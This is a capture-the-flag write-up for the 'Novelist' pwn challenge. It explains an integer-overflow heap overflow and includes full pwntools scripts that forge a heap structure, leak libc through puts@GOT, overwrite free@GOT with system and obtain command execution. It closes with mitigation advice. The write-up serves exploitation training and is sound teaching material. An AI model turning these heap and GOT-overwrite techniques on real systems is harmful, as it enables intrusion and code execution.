Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
PwnMedium

Novelist

CTF writeup for Novelist from RSTctf

>Novelist

Challenge: Novelist (pwn)

Flag format: MetaCTF{...}

Result: Remote flag captured: MetaCTF{heaps_of_books_heaps_of_heap_knowledge}.

This writeup documents the vulnerability discovery, exploitation, and automation used to retrieve the flag. It also includes the exploit scripts used in this repository.


>Files in the challenge

  • main — 64-bit ELF (not stripped)
  • main.c — source included (helpful)
  • libc.so.6 — provided libc for local testing
  • solution/001.py — small helper that demonstrates leaking via stdout
  • solution/002.py — full exploit and automation (local + remote)
  • solution/003.py — debug helper used during iteration

>High level program behavior

main.c implements a small "book" manager:

  • book_t { char title[32]; size_t num_pages; char* content; }
  • books[MAX_BOOKS] global array (5 slots)
  • Options to: start a new book, write into a book, read a book, delete a book

Important functions / behaviors:

  • start_book() allocates a book_t and then book->content = malloc(book->num_pages * PAGE_SIZE) where PAGE_SIZE = 4096.
  • read_n() reads from stdin stopping at newline, not null-terminating the buffers in every call.
  • write_book() loops over pages and reads up to PAGE_SIZE bytes per page into book->content + i * PAGE_SIZE.
  • read_book() memcpy's the first 256 bytes of book->content into a local trunc[256] and prints book->title and trunc.
  • delete_book() frees book->content and book, then sets slot to NULL.

>Vulnerability summary

Two interacting issues enable exploitation:

  1. Integer overflow in allocation size when book->num_pages is huge. If book->num_pages is set to a very large value (e.g. (1<<52)+1) then book->num_pages * PAGE_SIZE overflows a size_t on 64-bit arithmetic to a small number (effectively permitting a small allocation while the code believes it's large). This is used to make malloc return a small chunk but still allow the program to index by pages.

  2. The write_book() function writes PAGE_SIZE (0x1000) bytes per page into book->content + i * PAGE_SIZE. Because book->content points to a small allocation (due to integer overflow), a write of a full page will overflow into nearby heap metadata and adjacent heap chunks. With carefully forged contents the write can overwrite adjacent heap metadata to craft a fake book_t structure for another slot — specifically, we can make book #1's content pointer point to arbitrary addresses (for example GOT entries), enabling both information leak and arbitrary write via normal program functionality.

Together these allow turning the program into an arbitrary read/write primitive to process memory, enabling a typical ret2libc/overwrite GOT exploitation.

>Protections observed

  • ELF: x86_64, not PIE
  • Partial RELRO
  • NX enabled
  • Stack canary present
  • Symbols available (not stripped)

This means: no PIE (so the binary addresses are stable), NX and stack canary prevent typical stack-based shellcode or ret2ret stack clash, but we can perform arbitrary GOT overwrite to point a libc function pointer (free/puts) to system.

Because we can leak libc via a GOT entry (puts@GOT), we can compute libc base and find system.

>Exploitation strategy

  1. Create Book 0 with a huge num_pages to trigger allocation integer overflow. This yields a small allocated chunk but the program will write PAGE_SIZE blocks into book->content — enabling overflow beyond the allocation.

  2. Create Book 1 normally (1 page). Use the overflow from Book 0's first 2 pages to write a forged book_t that sets Book 1's content pointer to point at puts@GOT.

  3. Call read on Book 1 to leak the puts address (the program prints book->title then prints the first 256 bytes of book->content, so pointing content to puts@GOT leaks bytes from GOT).

  4. Calculate libc base from leaked puts address using provided libc.so.6.

  5. Use the same heap forgery technique to set Book 1's content pointer to free@GOT (or directly overwrite puts@GOT depending on approach). Use write to place the address of system in the chosen GOT entry.

  6. Create Book 2 and place a command (e.g. /bin/sh -c 'cat flag.txt || cat flag || ls') in its content.

  7. Call delete_book(2) to cause a free(book->content) which will actually call system(book->content) because free@GOT now points to system. This runs the command and returns its output. Capture the flag from the returned output.

Note: GOT-overwrite -> free to system is a common pattern; overwriting puts can also be used to achieve a similar effect by invoking puts on a pointer like /bin/sh via read path.

>Scripts and full code

All exploit code used during the process is included in the solution/ folder. Below are the full scripts used during the writeup and exploitation (copied verbatim from the repository):

1) solution/001.py — simple leak helper

python
#!/usr/bin/env python3
from pathlib import Path

from pwn import *

BIN = Path(__file__).resolve().parent.parent / "main"

context.binary = ELF(str(BIN))
context.terminal = ["tmux", "splitw", "-h"]


def leak_stdout_flags():
    io = process([str(BIN)])
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"Enter book index: ", b"-8")
    line1 = io.recvline().rstrip(b"\n")
    line2 = io.recvline().rstrip(b"\n")
    io.close()
    return line1, line2


def main():
    line1, line2 = leak_stdout_flags()
    log.info("stdout line1 raw: %s", line1)
    log.info("stdout line1 hex: %s", line1.hex())
    log.info("stdout line2 len: %d", len(line2))


if __name__ == "__main__":
    main()

This script was useful in the initial reconnaissance to show that reading with bad indices could leak memory locations (by pointing book->content at stdout/stderr).

2) solution/003.py — debugging helper used during iteration

python
#!/usr/bin/env python3
"""Debug helper to observe behaviour after GOT overwrite."""
from pathlib import Path

from pwn import *

BASE_DIR = Path(__file__).resolve().parent.parent
BIN_PATH = BASE_DIR / "main"
LIBC_PATH = BASE_DIR / "libc.so.6"

elf = context.binary = ELF(str(BIN_PATH))
libc = ELF(str(LIBC_PATH))
context.log_level = "debug"

MENU_PROMPT = b"> "


def menu(io, option):
    io.sendlineafter(MENU_PROMPT, str(option).encode())


def start_book(io, title, pages):
    menu(io, 1)
    io.sendafter(b"Enter your book's title: ", title)
    io.sendline(b"")
    io.sendlineafter(b"Enter your book's page count: ", str(pages).encode())


def write_book_overflow(io, idx, target):
    menu(io, 2)
    io.sendlineafter(b"Enter book index: ", str(idx).encode())
    io.recvuntil(b"Page 1: ")
    io.send(b"A" * 0x1000)
    io.recvuntil(b"Page 2: ")
    header = p64(0x1010) + p64(0x41)
    forged = header + b"B" * 32 + p64(1) + p64(target)
    io.send(forged.ljust(0x1000, b"C"))
    io.recvuntil(b"Page 3: ")
    io.send(b"\n")


def write_once(io, idx, data):
    menu(io, 2)
    io.sendlineafter(b"Enter book index: ", str(idx).encode())
    io.recvuntil(b"Page 1: ")
    io.send(data + b"\n")


def read_book(io, idx):
    menu(io, 3)
    io.sendlineafter(b"Enter book index: ", str(idx).encode())
    title = io.recvline().rstrip(b"\n")
    body = io.recvline().rstrip(b"\n")
    return title, body


def main():
    io = process([str(BIN_PATH)])
    start_book(io, b"OVERFLOW".ljust(31, b"X"), (1 << 52) + 1)
    start_book(io, b"LEAKER".ljust(31, b"Y"), 1)
    write_book_overflow(io, 0, elf.got["puts"])
    _, leak = read_book(io, 1)
    puts = u64(leak.ljust(8, b"\x00"))
    log.info("puts leak %#x", puts)
    libc.address = puts - libc.sym["puts"]
    start_book(io, b"/bin/sh\x00".ljust(31, b"Z"), 1)
    write_once(io, 2, b"/bin/sh\x00")
    write_book_overflow(io, 0, elf.got["free"])
    write_once(io, 1, p64(libc.sym["system"]))
    io.interactive()


if __name__ == "__main__":
    main()

This script was used during interactive debugging to step through each stage and try overwriting free@GOT with system.

3) solution/002.py — final exploit (automation + remote handling)

This file automates the full chain (leak, compute libc, overwrite GOT, trigger command execution, capture output). The script supports running locally and reading a one-time remote.txt to connect to the remote service and run the same chain. The script is fairly commented and produces progress updates.

(Full file included in solution/002.py in the repository.)

>How to run

  1. Create and activate venv (already done during development):
bash
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt  # or just pip install pwntools
  1. Run the exploit automation locally and (optionally) against remote. The script will ask for the remote endpoint once if remote.txt is not present.
bash
./.venv/bin/python solution/002.py

During development I used remote.txt to store the remote connect string. Example remote text line that the challenge description gave:

nc host5.metaproblems.com 5020

The script reads remote.txt if present and executes the same sequence on remote.

>Key implementation details (notes)

  • The integer overflow trick uses num_pages = (1 << 52) + 1 which when multiplied by 0x1000 wraps around (mod 2^64) and results in a manageable allocation while the program still writes full pages.
  • The forged heap chunk header p64(0x1010) + p64(0x41) followed by title(32), p64(1), and p64(target) is crafted to mimic the layout where the program expects a book_t followed by content pointer. By writing that into book0's overflow we make another book's content pointer point at a chosen address.
  • Using read_book we could leak puts@GOT (by making book->content point to puts@GOT). The 256-byte memcpy in read_book helps extract bytes for the leak.
  • After calculating libc base, we overwrite free@GOT with system and then perform delete(book_2) so the program calls system(book_2->content).

>Captured flag

During the remote stage the exploit returned the flag:

MetaCTF{heaps_of_books_heaps_of_heap_knowledge}

>Mitigations / Lessons learned

  • Sanitize user-supplied numeric inputs used for allocation sizes. Validate num_pages for acceptable ranges and check for multiplication overflow prior to using values for malloc.
  • Use full RELRO and PIE to make GOT overwrites more difficult and to reduce static address predictability.
  • Add runtime checks for abnormal allocations or very large numbers.

>Appendix — quick reference of the exploitation steps (short)

  1. Create book0 with num_pages = (1<<52)+1.
  2. Create book1 normally.
  3. Overflow book0 pages to forge a book_t for book1 that sets book1->content = puts@GOT.
  4. Read book1 to leak puts and compute libc base.
  5. Overwrite book1->content to free@GOT.
  6. Write system address into free@GOT.
  7. Create book2 with content being /bin/sh -c 'cat flag.txt || cat flag || ls'.
  8. Call delete_book(2) to trigger system(book2->content) and capture output.